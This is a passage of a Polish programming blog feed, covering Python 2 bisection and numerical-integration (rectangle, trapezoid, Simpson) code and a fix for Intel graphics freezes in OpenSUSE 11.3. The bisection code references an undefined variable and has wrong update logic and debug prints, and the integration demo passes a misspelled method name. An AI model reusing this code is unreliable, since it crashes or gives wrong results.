<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span><span class="n">function</span><span class="p">,</span> <span class="n">a</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">b</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span><span class="n">prec</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">f</span> <span class="o">=</span> <span class="n">function</span>
<span class="bp">self</span><span class="o">.</span><span class="n">a</span> <span class="o">=</span> <span class="n">a</span>
<span class="bp">self</span><span class="o">.</span><span class="n">b</span> <span class="o">=</span> <span class="n">b</span>
<span class="bp">self</span><span class="o">.</span><span class="n">prec</span> <span class="o">=</span> <span class="n">prec</span>
<span class="k">def</span> <span class="nf">setParameters</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">prec</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">a</span> <span class="o">=</span> <span class="n">a</span>
<span class="bp">self</span><span class="o">.</span><span class="n">b</span> <span class="o">=</span> <span class="n">b</span>
<span class="bp">self</span><span class="o">.</span><span class="n">prec</span> <span class="o">=</span> <span class="n">prec</span>
<span class="k">def</span> <span class="nf">count</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">if</span><span class="p">((</span><span class="bp">self</span><span class="o">.</span><span class="n">a</span><span class="o">></span><span class="bp">self</span><span class="o">.</span><span class="n">b</span><span class="p">)</span> <span class="ow">or</span>
<span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">f</span><span class="o">.</span><span class="n">c</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">a</span><span class="p">)</span><span class="o">*</span><span class="bp">self</span><span class="o">.</span><span class="n">f</span><span class="o">.</span><span class="n">c</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">b</span><span class="p">)</span> <span class="o">></span> <span class="mi">0</span><span class="p">)</span> <span class="ow">or</span>
<span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">a</span><span class="o">==</span><span class="bp">None</span> <span class="ow">or</span> <span class="bp">self</span><span class="o">.</span><span class="n">b</span><span class="o">==</span><span class="bp">None</span><span class="p">)):</span>
<span class="k">return</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">x1</span> <span class="o">=</span> <span class="nb">float</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">a</span><span class="p">)</span>
<span class="n">x2</span> <span class="o">=</span> <span class="nb">float</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">b</span><span class="p">)</span>
<span class="n">mediumX</span> <span class="o">=</span> <span class="p">(</span><span class="n">x1</span><span class="o">+</span><span class="n">x2</span><span class="p">)</span><span class="o">/</span><span class="mi">2</span>
<span class="k">print</span> <span class="s">"medium: </span><span class="si">%d</span><span class="s">"</span> <span class="o">%</span><span class="p">(</span><span class="n">mediumX</span><span class="p">)</span>
<span class="k">while</span><span class="p">(</span><span class="n">i</span><span class="o"><</span><span class="bp">self</span><span class="o">.</span><span class="n">prec</span><span class="p">):</span>
<span class="k">print</span> <span class="s">"hello"</span>
<span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="n">mediumX</span> <span class="o">=</span> <span class="p">(</span><span class="n">x1</span><span class="o">+</span><span class="n">x2</span><span class="p">)</span><span class="o">/</span><span class="mi">2</span>
<span class="k">print</span> <span class="s">"medium: </span><span class="si">%d</span><span class="s">"</span> <span class="o">%</span><span class="p">(</span><span class="n">mediumX</span><span class="p">)</span>
<span class="k">if</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">f</span><span class="o">.</span><span class="n">c</span><span class="p">(</span><span class="n">x0</span><span class="p">)</span><span class="o">></span><span class="mi">0</span><span class="p">):</span>
<span class="k">if</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">f</span><span class="o">.</span><span class="n">c</span><span class="p">(</span><span class="n">x1</span><span class="p">)</span><span class="o">></span><span class="mi">0</span><span class="p">):</span>
<span class="n">x1</span><span class="o">=</span><span class="n">mediumX</span>
<span class="k">if</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">f</span><span class="o">.</span><span class="n">c</span><span class="p">(</span><span class="n">x2</span><span class="p">)</span><span class="o">></span><span class="mi">0</span><span class="p">):</span>
<span class="n">x2</span><span class="o">=</span><span class="n">mediumX</span>
<span class="k">else</span><span class="p">:</span>
<span class="k">if</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">f</span><span class="o">.</span><span class="n">c</span><span class="p">(</span><span class="n">x1</span><span class="p">)</span><span class="o"><</span><span class="mi">0</span><span class="p">):</span>
<span class="n">x1</span><span class="o">=</span><span class="n">mediumX</span>
<span class="k">if</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">f</span><span class="o">.</span><span class="n">c</span><span class="p">(</span><span class="n">x2</span><span class="p">)</span><span class="o"><</span><span class="mi">0</span><span class="p">):</span>
<span class="n">x2</span><span class="o">=</span><span class="n">mediumX</span>
<span class="k">return</span> <span class="p">(</span><span class="n">x1</span><span class="p">,</span><span class="n">x2</span><span class="p">,)</span>
<span class="n">function</span> <span class="o">=</span> <span class="n">Function</span><span class="p">()</span>
<span class="n">bisection</span> <span class="o">=</span> <span class="n">Bisection</span><span class="p">(</span><span class="n">function</span><span class="p">,</span> <span class="mf">5.0</span><span class="p">,</span> <span class="mf">7.0</span><span class="p">,</span> <span class="mi">20100</span><span class="p">)</span>
<span class="k">print</span> <span class="n">bisection</span><span class="o">.</span><span class="n">count</span><span class="p">()</span>
</pre></div><br />
Schemat blokowy pracy takiego algorytmu przedstawia się następująco:<br />
<br />
<div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-9g9Y3ybU6OM/TZyonxl5erI/AAAAAAAAAMU/SZ5oqSyCYsw/s1600/schemat-bisekcja.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="http://4.bp.blogspot.com/-9g9Y3ybU6OM/TZyonxl5erI/AAAAAAAAAMU/SZ5oqSyCYsw/s640/schemat-bisekcja.png" width="385" /></a></div><br />
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Artykuł udostępniany na licencji CC-BY-SA-3.0<br />
<a href="http://creativecommons.org/licenses/by-sa/3.0/pl/" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5366458013055954146" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" style="cursor: hand; cursor: pointer; float: left; height: 70px; margin: 0 10px 10px 0; width: 100px;" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com0tag:blogger.com,1999:blog-2028968044982511494.post-71166449491480019822010-09-25T12:39:00.016+02:002011-04-06T20:00:25.248+02:00Całkowanie numeryczne<span style="font-weight: bold;">Wprowadzenie</span><br />
Całkowanie numeryczne można porównać do podziału powierzchni całkowanej funkcji na przedziały (im dokładniejszy wynik chcemy uzyskać, tym więcej przedziałów). W zależności od wybranej metody całkowania będziemy liczyć pole w przedziałach dla prostokąta, trapezu lub paraboli. Do wyboru pozostaje nam również wybór czy ewentualny będziemy całkować pole figury pod całkowaną funkcją (z niedomiarem - wtedy uzyskany wynik może być mniejszy niż oczekiwany) lub nad funkcją (z nadmiarem - wtedy oczekiwany wynik może być większy niż oczekiwany). Pod koniec działania programu musimy zsumować pola wszystkich figur z pod przedziałów, które policzyliśmy tak, by uzyskać wynik.<br />
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<span style="font-weight: bold;">Graficzne przedstawienie problemu</span><br />
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Całkowanie tak prostej funkcji jakmetodą prostokątów może dać duży błąd. Parametry wielkości przedziałów (ich liczność w całkowanym przedziale) należy dobrać odpowiednio tak, by błąd był jak najmniejszy. <br />
Całkowanie funkcji w przedziale od 0 do 8 z podziałem na 4 pod przedziały:<br />
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<a href="http://4.bp.blogspot.com/_9IyUT10tc1I/TJ3R7XrbILI/AAAAAAAAALo/pBYt1-eWDjE/s1600/calka-prostokaty.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5520799536124731570" src="http://4.bp.blogspot.com/_9IyUT10tc1I/TJ3R7XrbILI/AAAAAAAAALo/pBYt1-eWDjE/s320/calka-prostokaty.png" style="cursor: pointer; float: center; height: 286px; margin: 0pt 10px 10px 0pt; text-align: center; width: 320px;" /></a><br />
Całkowanie tej samej funkcji metodą trapezów daje wynik bezbłędny nawet przy 1 pod przedziale. Przykład całkowania funkcji y=x+2 w przedziale od 0 do 8 metodą trapezów z 2 pod przedziałami:<br />
<br />
<a href="http://1.bp.blogspot.com/_9IyUT10tc1I/TJ3R8LQZPoI/AAAAAAAAALw/J_4G6vYLuCM/s1600/calka-trapezy.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5520799549970005634" src="http://1.bp.blogspot.com/_9IyUT10tc1I/TJ3R8LQZPoI/AAAAAAAAALw/J_4G6vYLuCM/s320/calka-trapezy.png" style="cursor: pointer; float: center; height: 286px; margin: 0pt 10px 10px 0pt; text-align: center; width: 320px;" /></a><br />
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Przykład całkowania funkcji nieliniowej y = x * cos(x) metodą trapezów w przedziale od -2 do 2.<br />
<a href="http://2.bp.blogspot.com/_9IyUT10tc1I/TKTOpkEphnI/AAAAAAAAAL4/mE_2ZuJYlDA/s1600/xcos%28x%29.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5522766256516204146" src="http://2.bp.blogspot.com/_9IyUT10tc1I/TKTOpkEphnI/AAAAAAAAAL4/mE_2ZuJYlDA/s320/xcos%28x%29.png" style="cursor: hand; cursor: pointer; display: block; height: 246px; margin: 0px auto 10px; text-align: center; width: 320px;" /></a><br />
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Kod programu całkującego metodą trapezów, prostokątów oraz parabol (python 2.x, najlepiej 2.6):<br />
<br />
<div class="highlight"><pre><span class="c">#!/usr/bin/python</span>
<span class="c"># -*- coding: utf-8 -*-</span>
<span class="kn">import</span> <span class="nn">math</span>
<span class="k">class</span> <span class="nc">Function</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">pass</span>
<span class="k">def</span> <span class="nf">count</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="n">math</span><span class="o">.</span><span class="n">exp</span><span class="p">(</span><span class="o">-</span><span class="n">math</span><span class="o">.</span><span class="n">sqrt</span><span class="p">(</span><span class="n">x</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">c</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">count</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">Zad1Function</span><span class="p">(</span><span class="n">Function</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">count</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="p">(</span><span class="n">x</span><span class="o">+</span><span class="mi">2</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">Zad3FunctionA</span><span class="p">(</span><span class="n">Function</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">count</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="n">x</span> <span class="o">*</span> <span class="n">math</span><span class="o">.</span><span class="n">cos</span><span class="p">(</span><span class="n">x</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">Zad3FunctionB</span><span class="p">(</span><span class="n">Function</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">count</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="p">(</span><span class="n">math</span><span class="o">.</span><span class="n">sin</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="o">+</span> <span class="n">x</span><span class="o">**</span><span class="mi">3</span><span class="p">)</span>
<span class="k">class</span> <span class="nc">Zad3FunctionC</span><span class="p">(</span><span class="n">Function</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">count</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="p">((</span><span class="n">x</span><span class="o">**</span><span class="mi">2</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">math</span><span class="o">.</span><span class="n">e</span><span class="o">**</span><span class="n">x</span><span class="p">))</span>
<span class="k">class</span> <span class="nc">Calka</span><span class="p">(</span><span class="nb">object</span><span class="p">):</span>
<span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span><span class="n">function</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span><span class="n">n</span><span class="p">,</span><span class="n">method_f</span><span class="o">=</span><span class="s">"rectangle"</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">a</span> <span class="o">=</span> <span class="n">a</span>
<span class="bp">self</span><span class="o">.</span><span class="n">b</span> <span class="o">=</span> <span class="n">b</span>
<span class="bp">self</span><span class="o">.</span><span class="n">n</span> <span class="o">=</span> <span class="n">n</span>
<span class="bp">self</span><span class="o">.</span><span class="n">f</span> <span class="o">=</span> <span class="n">function</span>
<span class="bp">self</span><span class="o">.</span><span class="n">methodF</span> <span class="o">=</span> <span class="bp">None</span>
<span class="bp">self</span><span class="o">.</span><span class="n">setMethodF</span><span class="p">(</span><span class="n">method_f</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">setParameters</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span><span class="p">,</span> <span class="n">n</span><span class="p">,</span>
<span class="n">function</span> <span class="o">=</span> <span class="bp">None</span><span class="p">,</span> <span class="n">method_f</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">a</span> <span class="o">=</span> <span class="n">a</span>
<span class="bp">self</span><span class="o">.</span><span class="n">b</span> <span class="o">=</span> <span class="n">b</span>
<span class="bp">self</span><span class="o">.</span><span class="n">n</span> <span class="o">=</span> <span class="n">n</span>
<span class="k">if</span><span class="p">(</span><span class="n">function</span><span class="o">!=</span><span class="bp">None</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">f</span> <span class="o">=</span> <span class="n">function</span>
<span class="k">if</span><span class="p">(</span><span class="n">method_f</span><span class="o">!=</span><span class="bp">None</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">setMethodF</span><span class="p">(</span><span class="n">method_f</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">setMethodF</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">method_f</span><span class="p">):</span>
<span class="k">if</span><span class="p">(</span><span class="n">method_f</span> <span class="o">==</span> <span class="s">"rectangle"</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">methodF</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">rectangleField</span>
<span class="k">elif</span><span class="p">(</span><span class="n">method_f</span> <span class="o">==</span> <span class="s">"trapezium"</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">methodF</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">trapeziumField</span>
<span class="k">def</span> <span class="nf">setPrecision</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">n</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">n</span> <span class="o">=</span> <span class="n">n</span>
<span class="k">def</span> <span class="nf">rectangleField</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">x0</span><span class="p">,</span> <span class="n">x1</span><span class="p">,</span> <span class="n">size</span><span class="p">):</span>
<span class="k">return</span> <span class="nb">min</span><span class="p">(</span><span class="n">x1</span><span class="p">,</span><span class="n">x0</span><span class="p">)</span><span class="o">*</span><span class="n">size</span>
<span class="k">def</span> <span class="nf">trapeziumField</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">x0</span><span class="p">,</span> <span class="n">x1</span><span class="p">,</span> <span class="n">size</span><span class="p">):</span>
<span class="k">return</span> <span class="p">((</span><span class="n">x0</span><span class="o">+</span><span class="n">x1</span><span class="p">)</span><span class="o">*</span><span class="n">size</span><span class="o">/</span><span class="mf">2.0</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">parabolaField</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">x1</span><span class="p">,</span> <span class="n">x2</span><span class="p">,</span> <span class="n">x3</span><span class="p">,</span> <span class="n">size</span><span class="p">):</span>
<span class="k">return</span> <span class="p">(</span><span class="n">x1</span><span class="o">+</span><span class="n">x3</span><span class="o">+</span><span class="p">(</span><span class="mi">4</span><span class="o">*</span><span class="n">x2</span><span class="p">))</span><span class="o">*</span><span class="p">(</span><span class="n">size</span><span class="o">/</span><span class="mi">6</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">printMethodsConfrontation</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="k">print</span> <span class="s">"Porownanie metod w przedziale </span>
<span class="n">a</span><span class="p">:</span> <span class="o">%</span><span class="n">f</span> <span class="n">b</span><span class="p">:</span> <span class="o">%</span><span class="n">f</span> <span class="n">z</span> <span class="o">%</span><span class="n">f</span> <span class="n">iteracjami</span><span class="s">" </span>
<span class="o">%</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">a</span><span class="p">,</span><span class="bp">self</span><span class="o">.</span><span class="n">b</span><span class="p">,</span><span class="bp">self</span><span class="o">.</span><span class="n">n</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"Metoda Prostokatow: </span><span class="si">%f</span><span class="s"> "</span> <span class="o">%</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">count</span><span class="p">(</span><span class="s">"ractangle"</span><span class="p">))</span>
<span class="k">print</span> <span class="s">"Metoda Trapezow : </span><span class="si">%f</span><span class="s"> "</span> <span class="o">%</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">count</span><span class="p">(</span><span class="s">"trapezium"</span><span class="p">))</span>
<span class="k">print</span> <span class="s">"Metoda Parabol : </span><span class="si">%f</span><span class="s"> "</span> <span class="o">%</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">parabolaCount</span><span class="p">())</span>
<span class="k">def</span> <span class="nf">count</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">method</span><span class="o">=</span><span class="bp">None</span><span class="p">):</span>
<span class="k">if</span><span class="p">(</span><span class="n">method</span><span class="o">!=</span><span class="bp">None</span><span class="p">):</span>
<span class="bp">self</span><span class="o">.</span><span class="n">setMethodF</span><span class="p">(</span><span class="n">method</span><span class="p">)</span>
<span class="n">size</span> <span class="o">=</span> <span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">b</span><span class="o">-</span><span class="bp">self</span><span class="o">.</span><span class="n">a</span><span class="p">)</span><span class="o">/</span><span class="bp">self</span><span class="o">.</span><span class="n">n</span>
<span class="n">x0</span> <span class="o">=</span> <span class="nb">float</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">a</span><span class="p">)</span>
<span class="n">x2</span> <span class="o">=</span> <span class="n">math</span><span class="o">.</span><span class="n">fabs</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">f</span><span class="o">.</span><span class="n">c</span><span class="p">(</span><span class="n">x0</span><span class="p">))</span>
<span class="n">result</span> <span class="o">=</span> <span class="mf">0.0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">n</span><span class="p">)):</span>
<span class="n">x1</span> <span class="o">=</span> <span class="n">x2</span>
<span class="n">x0</span> <span class="o">=</span> <span class="n">x0</span> <span class="o">+</span> <span class="n">size</span>
<span class="n">x2</span> <span class="o">=</span> <span class="n">math</span><span class="o">.</span><span class="n">fabs</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">f</span><span class="o">.</span><span class="n">c</span><span class="p">(</span><span class="n">x0</span><span class="p">))</span>
<span class="n">result</span> <span class="o">+=</span> <span class="bp">self</span><span class="o">.</span><span class="n">methodF</span><span class="p">(</span><span class="n">x1</span><span class="p">,</span><span class="n">x2</span><span class="p">,</span><span class="n">size</span><span class="p">)</span>
<span class="k">return</span> <span class="n">result</span>
<span class="k">def</span> <span class="nf">parabolaCount</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
<span class="n">size</span> <span class="o">=</span> <span class="p">(</span><span class="nb">float</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">b</span><span class="p">)</span><span class="o">-</span><span class="nb">float</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">a</span><span class="p">))</span><span class="o">/</span><span class="nb">float</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">n</span><span class="p">)</span>
<span class="n">x0</span> <span class="o">=</span> <span class="nb">float</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">a</span><span class="p">)</span>
<span class="n">x3</span> <span class="o">=</span> <span class="n">math</span><span class="o">.</span><span class="n">fabs</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">f</span><span class="o">.</span><span class="n">c</span><span class="p">(</span><span class="n">x0</span><span class="p">))</span>
<span class="n">result</span> <span class="o">=</span> <span class="mf">0.0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">n</span><span class="p">)):</span>
<span class="n">x1</span> <span class="o">=</span> <span class="n">x3</span>
<span class="n">x2</span> <span class="o">=</span> <span class="n">math</span><span class="o">.</span><span class="n">fabs</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">f</span><span class="o">.</span><span class="n">c</span><span class="p">(</span><span class="n">x0</span> <span class="o">+</span> <span class="n">size</span><span class="o">/</span><span class="mf">2.0</span><span class="p">))</span>
<span class="n">x3</span> <span class="o">=</span> <span class="n">math</span><span class="o">.</span><span class="n">fabs</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">f</span><span class="o">.</span><span class="n">c</span><span class="p">(</span><span class="n">x0</span> <span class="o">+</span> <span class="n">size</span><span class="p">))</span>
<span class="n">result</span> <span class="o">+=</span> <span class="bp">self</span><span class="o">.</span><span class="n">parabolaField</span><span class="p">(</span><span class="n">x1</span><span class="p">,</span><span class="n">x2</span><span class="p">,</span><span class="n">x3</span><span class="p">,</span><span class="n">size</span><span class="p">)</span>
<span class="n">x0</span> <span class="o">+=</span> <span class="n">size</span>
<span class="k">return</span> <span class="n">result</span>
<span class="n">func</span> <span class="o">=</span> <span class="n">Zad1Function</span><span class="p">()</span>
<span class="n">calka</span> <span class="o">=</span> <span class="n">Calka</span><span class="p">(</span><span class="n">func</span><span class="p">,</span><span class="mf">0.0</span><span class="p">,</span> <span class="n">math</span><span class="o">.</span><span class="n">pi</span><span class="p">,</span><span class="mf">315.0</span><span class="p">)</span>
<span class="k">print</span> <span class="s">"Funkcja 1: "</span>
<span class="n">calka</span><span class="o">.</span><span class="n">printMethodsConfrontation</span><span class="p">()</span>
<span class="n">calka</span><span class="o">.</span><span class="n">f</span> <span class="o">=</span> <span class="n">Zad3FunctionA</span><span class="p">()</span>
<span class="k">print</span> <span class="s">"Funkcja 3a: "</span>
<span class="n">calka</span><span class="o">.</span><span class="n">printMethodsConfrontation</span><span class="p">()</span>
<span class="n">calka</span><span class="o">.</span><span class="n">f</span> <span class="o">=</span> <span class="n">Zad3FunctionB</span><span class="p">()</span>
<span class="k">print</span> <span class="s">"Funkcja 3b: "</span>
<span class="n">calka</span><span class="o">.</span><span class="n">b</span> <span class="o">=</span> <span class="mi">3</span> <span class="o">*</span> <span class="n">math</span><span class="o">.</span><span class="n">pi</span>
<span class="n">calka</span><span class="o">.</span><span class="n">printMethodsConfrontation</span><span class="p">()</span>
<span class="n">calka</span><span class="o">.</span><span class="n">f</span> <span class="o">=</span> <span class="n">Zad3FunctionC</span><span class="p">()</span>
<span class="k">print</span> <span class="s">"Funkcja 3c: "</span>
<span class="n">calka</span><span class="o">.</span><span class="n">b</span> <span class="o">=</span> <span class="mf">1.0</span>
<span class="n">calka</span><span class="o">.</span><span class="n">printMethodsConfrontation</span><span class="p">()</span> </pre><pre> </pre><pre> </pre><pre>Schemat pracy w/w algorytmu przedstawia się następująco:</pre><pre> </pre><div class="separator" style="clear: both; text-align: center;"><a href="http://3.bp.blogspot.com/-SYLe5fyk2sA/TZyqCXXM36I/AAAAAAAAAMY/XPDLxCjaicc/s1600/schemat-calkowani.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="640" src="http://3.bp.blogspot.com/-SYLe5fyk2sA/TZyqCXXM36I/AAAAAAAAAMY/XPDLxCjaicc/s640/schemat-calkowani.png" width="452" /></a></div><pre></pre></div><br />
<br />
Artykuł udostępniany na licencji CC-BY-SA-3.0<br />
<a href="http://creativecommons.org/licenses/by-sa/3.0/pl/" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img alt="" border="0" id="BLOGGER_PHOTO_ID_5366458013055954146" src="http://4.bp.blogspot.com/_9IyUT10tc1I/Snl9IVI_rOI/AAAAAAAAAI0/oQc2wJldXvk/s400/cc.png" style="cursor: hand; cursor: pointer; float: left; height: 70px; margin: 0 10px 10px 0; width: 100px;" /></a>coder-mslhttp://www.blogger.com/profile/17303198047154838275noreply@blogger.com1tag:blogger.com,1999:blog-2028968044982511494.post-82523600902595398472010-07-20T12:50:00.008+02:002010-07-24T23:01:53.851+02:00Problemy z kartami graficznymi Intel'a a OpenSUSE 11.3W sytuacji, w której w trakcie pracy pod systemem OpenSUSE 11.3 z zintegrowanymi chipsetami graficznymi Intela (szczególnie z przetestowanymi przeze mnie Intel 855GM ale również różnymi chipsetami z serii GMA). Problemy, które mogą się pojawić są różne - na przykład przy pracy na starym 855GM występują problemy z KWin czy Compiz, a mianowicie na ekranie pojawiają się różnego rodzaju artefakty, które uniemożliwiają normalną pracę z systemem. Praca na domyślnych ustawieniach w OpenSUSE 11.3 z chipsetami z serii GMA powoduje zamrożenie systemu w różnych sytuacjach (przestaje działać nawet CTRL+ALT+Backspace, czy CTRL+ALT+(F1-F12) ).<br /><br />Rozwiązanie:<br /><blockquote><br />YaST -> Edytor /etc/sysconfig -> Zakładka "System" -> Zakładka "Kernel" -> Zakładka "NO_KMS_IN_INITRD" </blockquote><br />(tutaj zmieniamy wartość z "no" na "yes")<br /><br />następnie zapisujemy i ponownie uruchamiamy system.<br /><br />Alternatywne rozwiązanie na plikach:<br /><br /><blockquote>sudo mcedit /etc/sysconfig/kernel </blockquote>(odszukujemy linię: NO_KMS_IN_INITRD="no" i zmieniamy na : NO_KMS_IN_INITRD="yes", następnie zapisujemy plik i ponownie uruchamiamy system)<br /><br />Takie rozwiązanie wyłączy stosunkowo nowy moduł w jądrze, który w założeniu miał poprawić stabilność systemu nawet w przypadkach, gdy pojawią się problemy z serwerem X - i faktycznie poprawia to stabilność o ile sterowniki do kart graficznych zostaną dobrze przepisane pod KMS - w przypadku otwartych sterowników Intel'a na razie nie jest ciekawie i pozostaje wyłączyć KMS w nadziei, że w najbliższym czasie pojawią się aktualizacje.<br /><br />W razie dalszych problemów ze stabilnością systemu radzę wyłączyć efekty pulpitu (Compiz/KWin) - przy wyłączonych kompozycjach oraz wyłączonym KMS system powinien zachowywać się stabilnie.<br /><br />Gdyby jednak dla kogoś wyłączenie efektów pulpitu było niemożliwe - lub pomimo zastosowanych porad nadal występowały problemy z działaniem/stabilnością systemu istnieje możliwość powrotu do sterowników "legacy".<br /><br /><br />Jak włączyć sterowniki legacy:<br /><blockquote><br />sudo mcedit /etc/X11/xorg.conf.d/50-device.conf</blockquote><br /><br />dopisz linijkę ' Driver "intellegacy" ' przed wierszem "EndSection" najlepiej na poziomie wcięcia wiersza "Default Device" w taki sposób:<br /><br /><blockquote><br />Section "Device"<br /> Identifier "Default Device"<br /> Driver "intellegacy"<br /> #Driver "radeon"<br /><br /> ## Required magic for radeon/radeonhd drivers; output name<br /> ## (here: "DVI-0") can be figured out via 'xrandr -q'<br /> #Option "monitor-DVI-0" "Default Monitor"<br /><br />EndSection <br /></blockquote><br /><br />Po takim zabiegu i ponownym uruchomieniu serwera X (2-krotnie szybko CTRL+ALT+BACKSPACE) kompozycje powinny działać prawidłowo a system stabilnie.<br /><br /><br />Problem występuje w OpenSUSE 11.3, gdyż w dystrybucji tej domyślnie włączono KMS.<br /><br /><br />Artykuł udostępniany na licencji CC-BY-SA-3.0<br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://creativecommons.org/licenses/by-sa/3.0/pl/"><img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 100px; height: 70px;" 